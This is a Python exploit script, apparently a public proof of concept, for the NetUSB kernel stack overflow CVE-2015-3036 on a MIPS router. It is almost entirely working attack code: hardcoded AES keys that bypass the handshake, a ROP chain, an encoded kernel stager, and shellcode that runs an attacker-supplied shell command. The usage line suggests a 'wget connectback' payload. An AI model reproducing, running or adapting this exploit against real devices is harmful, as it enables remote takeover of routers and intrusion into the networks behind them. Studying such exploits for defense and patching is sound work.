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#!/usr/bin/env python
# Source: http://haxx.in/blasty-vs-netusb.py
#
# CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS)
# ===========================================================================
# This is a weaponized exploit for the NetUSB kernel vulnerability
# discovered by SEC Consult Vulnerability Lab. [1]
#
# I don't like lazy vendors, I've seen some DoS PoC's floating around
# for this bug.. and it's been almost five(!) months. So lets kick it up
# a notch with an actual proof of concept that yields code exec.
#
# So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)
#
# Smash stack, ROP, decode, stage, spawn userland process. woo!
#
# Currently this is weaponized for one target device (the one I own, I was
# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in
# the default firmware image, oooops. ;-D).
#
# This python script is horrible, but its not about the glue, its about
# the tech contained therein. Some things *may* be (intentionally?) botched..
# lets see if "the community" cares enough to develop this any further,
# I need to move on with life. ;-D
#
# Shoutouts to all my boys & girls around the world, you know who you are!
#
# Peace,
# -- blasty <peter@haxx.in> // 20151013
#
# References:
# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt
# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
#
import os, sys, struct, socket, time
from Crypto.Cipher import AES
def u32(v):
return struct.pack("<L", v)
def banner():
print ""
print "## NetUSB (CVE-2015-3036) remote code execution exploit"
print "## by blasty <peter@haxx.in>"
print ""
def usage(prog):
print "usage : %s <host> <port> <cmd>" % (prog)
print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog)
print ""
banner()
if len(sys.argv) != 4:
usage(sys.argv[0])
exit(0)
cmd = sys.argv[3]
# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro)
targets = [
{
"name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)",
"kernel_base" : 0x80001000,
# adjust to offset used in 'load_addr_and_jump' gadget
# should be some big immediate to avoid NUL bytes
"load_addr_offset" : 4156,
"gadgets" : {
# 8c42103c lw v0,4156(v0)
# 0040f809 jalr v0
# 00000000 nop
'load_addr_and_jump' : 0x1f548,
# 8fa20010 lw v0,16(sp)
# 8fbf001c lw ra,28(sp)
# 03e00008 jr ra
# 27bd0020 addiu sp,sp,32
'load_v0_and_ra' : 0x34bbc,
# 27b10010 addiu s1,sp,16
# 00602021 move a0,v1
# 0040f809 jalr v0
# 02202821 move a1,s1
'move_sp_plus16_to_s1' : 0x63570,
# 0220f809 jalr s1
# 00000000 nop
'jalr_s1' : 0x63570,
'a_r4k_blast_dcache' : 0x6d4678,
'kmalloc' : 0xb110c,
'ks_recv' : 0xc145e270,
'call_usermodehelper_setup' : 0x5b91c,
'call_usermodehelper_exec' : 0x5bb20
}
}
]
# im lazy, hardcoded to use the only avail. target for now
# hey, at least I made it somewhat easy to easily add new targets
target = targets[0]
# hullo there.
hello = "\x56\x03"
# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes
# people, this is not how you implement auth. lol.
aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex')
aesk1 = "A2353556541CFE44EC468248064DE66C".decode('hex')
key = aesk1
IV = "\x00"*16
mode = AES.MODE_CBC
aes = AES.new(key, mode, IV=IV)
aesk0_d = aes.decrypt(aesk0)
aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))
print "[>] sending HELLO pkt"
s.send(hello)
time.sleep(0.2)
verify_data = "\xaa"*16
print "[>] sending verify data"
s.send(verify_data)
time.sleep(0.2)
print "[>] reading response"
data = s.recv(0x200)
print "[!] got %d bytes .." % len(data)
print "[>] data: " + data.encode('hex')
pkt = aes2.decrypt(data)
print "[>] decr: " + pkt.encode("hex")
if pkt[0:16] != "\xaa"*16:
print "[!] error: decrypted rnd data mismatch :("
exit(-1)
rnd = data[16:]
aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
pkt_c = aes2.encrypt(rnd)
print "[>] sending back crypted random data"
s.send(pkt_c)
# Once upon a time..
d = "A"
# hardcoded decoder_key, this one is 'safe' for the current stager
decoder_key = 0x1337babf
# NUL-free mips code which decodes the next stage,
# flushes the d-cache, and branches there.
# loosely inspired by some shit Julien Tinnes once wrote.
decoder_stub = [
0x0320e821, # move sp,t9
0x27a90168, # addiu t1,sp,360
0x2529fef0, # addiu t1,t1,-272
0x240afffb, # li t2,-5
0x01405027, # nor t2,t2,zero
0x214bfffc, # addi t3,t2,-4
0x240cff87, # li t4,-121
0x01806027, # nor t4,t4,zero
0x3c0d0000, # [8] lui t5, xorkey@hi
0x35ad0000, # [9] ori t5,t5, xorkey@lo
0x8d28fffc, # lw t0,-4(t1)
0x010d7026, # xor t6,t0,t5
0xad2efffc, # sw t6,-4(t1)
0x258cfffc, # addiu t4,t4,-4
0x140cfffb, # bne zero,t4,0x28
0x012a4820, # add t1,t1,t2
0x3c190000, # [16] lui t9, (a_r4k_blast_dcache-0x110)@hi
0x37390000, # [17] ori t9,t9,(a_r4k_blast_dcache-0x110)@lo
0x8f390110, # lw t9,272(t9)
0x0320f809, # jalr t9
0x3c181234, # lui t8,0x1234
]
# patch xorkey into decoder stub
decoder_stub[8] = decoder_stub[8] | (decoder_key >> 16)
decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff)
r4k_blast_dcache = target['kernel_base']
r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']
# patch the r4k_blast_dcache address in decoder stub
decoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16)
decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)
# pad it out
d += "A"*(233-len(d))
# kernel payload stager
kernel_stager = [
0x27bdffe0, # addiu sp,sp,-32
0x24041000, # li a0,4096
0x24050000, # li a1,0
0x3c190000, # [3] lui t9,kmalloc@hi
0x37390000, # [4] ori t9,t9,kmalloc@lo
0x0320f809, # jalr t9
0x00000000, # nop
0x0040b821, # move s7,v0
0x02602021, # move a0,s3
0x02e02821, # move a1,s7
0x24061000, # li a2,4096
0x00003821, # move a3,zero
0x3c190000, # [12] lui t9,ks_recv@hi
0x37390000, # [13] ori t9,t9,ks_recv@lo
0x0320f809, # jalr t9
0x00000000, # nop
0x3c190000, # [16] lui t9,a_r4k_blast_dcache@hi
0x37390000, # [17] ori t9,t9,a_r4k_blast_dcache@lo
0x8f390000, # lw t9,0(t9)
0x0320f809, # jalr t9
0x00000000, # nop
0x02e0f809, # jalr s7
0x00000000 # nop
]
kmalloc = target['kernel_base'] + target['gadgets']['kmalloc']
ks_recv = target['gadgets']['ks_recv']
# patch kernel stager
kernel_stager[3] = kernel_stager[3] | (kmalloc >> 16)
kernel_stager[4] = kernel_stager[4] | (kmalloc & 0xffff)
kernel_stager[12] = kernel_stager[12] | (ks_recv >> 16)
kernel_stager[13] = kernel_stager[13] | (ks_recv & 0xffff)
kernel_stager[16] = kernel_stager[16] | (r4k_blast_dcache >> 16)
kernel_stager[17] = kernel_stager[17] | (r4k_blast_dcache & 0xffff)
# a ROP chain for MIPS, always ew.
rop = [
# this gadget will
# v0 = *(sp+16)
# ra = *(sp+28)
# sp += 32
target['kernel_base'] + target['gadgets']['load_v0_and_ra'],
# stack for the g_load_v0_and_ra gadget
0xaaaaaaa1, # sp+0
0xaaaaaaa2, # sp+4
0xaaaaaaa3, # sp+8
0xaaaaaaa4, # sp+12
r4k_blast_dcache - target['load_addr_offset'], # sp+16 / v0
0xaaaaaaa6, # sp+20
0xaaaaaaa7, # sp+24
# this gadget will
# v0 = *(v0 + 4156)
# v0();
# ra = *(sp + 20)
# sp += 24
# ra();
target['kernel_base'] + target['gadgets']['load_addr_and_jump'], # sp+28
0xbbbbbbb2,
0xccccccc3,
0xddddddd4,
0xeeeeeee5,
0xeeeeeee6,
# this is the RA fetched by g_load_addr_and_jump
target['kernel_base'] + target['gadgets']['load_v0_and_ra'],
# stack for the g_load_v0_and_ra gadget
0xaaaaaaa1, # sp+0
0xaaaaaaa2, # sp+4
0xaaaaaaa3, # sp+8
0xaaaaaaa4, # sp+12
target['kernel_base'] + target['gadgets']['jalr_s1'], # sp+16 / v0
0xaaaaaaa6, # sp+20
0xaaaaaaa7, # sp+24
target['kernel_base'] + target['gadgets']['move_sp_plus16_to_s1'], # ra
# second piece of native code getting executed, pivot back in the stack
0x27b9febc, # t9 = sp - offset
0x0320f809, # jalr t9
0x3c181234, # nop
0x3c181234, # nop
# first native code getting executed, branch back to previous 4 opcodes
0x03a0c821, # move t9, sp
0x0320f809, # jalr t9
0x3c181234,
]
# append rop chain to buffer
for w in rop:
d += u32(w)
# append decoder_stub to buffer
for w in decoder_stub:
d += u32(w)
# encode stager and append to buffer
for w in kernel_stager:
d += u32(w ^ decoder_key)
print "[>] sending computername_length.."
time.sleep(0.1)
s.send(struct.pack("<L", len(d)))
print "[>] sending payload.."
time.sleep(0.1)
s.send(d)
time.sleep(0.1)
print "[>] sending stage2.."
# a useful thing to do when you bust straight into the kernel
# is to go back to userland, huhuhu.
# thanks to jix for the usermodehelper suggestion! :)
kernel_shellcode = [
0x3c16dead, # lui s6,0xdead
0x3c19dead, # lui t9,0xdead
0x3739c0de, # ori t9,t9,0xc0de
0x2404007c, # li a0, argv
0x00972021, # addu a0,a0,s7
0x2405008c, # li a1, argv0
0x00b72821, # addu a1,a1,s7
0xac850000, # sw a1,0(a0)
0x24050094, # li a1, argv1
0x00b72821, # addu a1,a1,s7
0xac850004, # sw a1,4(a0)
0x24060097, # li a2, argv2
0x00d73021, # addu a2,a2,s7
0xac860008, # sw a2,8(a0)
0x00802821, # move a1,a0
0x2404008c, # li a0, argv0
0x00972021, # addu a0,a0,s7
0x24060078, # li a2, envp
0x00d73021, # addu a2,a2,s7
0x24070020, # li a3,32
0x3c190000, # [20] lui t9,call_usermodehelper_setup@hi
0x37390000, # [21] ori t9,t9,call_usermodehelper_setup@lo
# call_usermodehelper_setup(argv[0], argv, envp, GPF_ATOMIC)
0x0320f809, # jalr t9
0x00000000, # nop
0x00402021, # move a0,v0
0x24050002, # li a1,2
0x3c190000, # [26] lui t9,call_usermodehelper_exec@hi
0x37390000, # [27] ori t9,t9,call_usermodehelper_exec@lo
# call_usermodehelper_exec(retval, UHM_WAIT_PROC)
0x0320f809, # jalr t9
0x00000000, # nop
# envp ptr
0x00000000,
# argv ptrs
0x00000000,
0x00000000,
0x00000000,
0x00000000
]
usermodehelper_setup = target['gadgets']['call_usermodehelper_setup']
usermodehelper_exec = target['gadgets']['call_usermodehelper_exec']
# patch call_usermodehelper_setup into kernel shellcode
kernel_shellcode[20] = kernel_shellcode[20] | (usermodehelper_setup>>16)
kernel_shellcode[21] = kernel_shellcode[21] | (usermodehelper_setup&0xffff)
# patch call_usermodehelper_setup into kernel shellcode
kernel_shellcode[26] = kernel_shellcode[26] | (usermodehelper_exec>>16)
kernel_shellcode[27] = kernel_shellcode[27] | (usermodehelper_exec&0xffff)
payload = ""
for w in kernel_shellcode:
payload += u32(w)
payload += "/bin/sh\x00"
payload += "-c\x00"
payload += cmd
# and now for the moneyshot
s.send(payload)
print "[~] KABOOM! Have a nice day."
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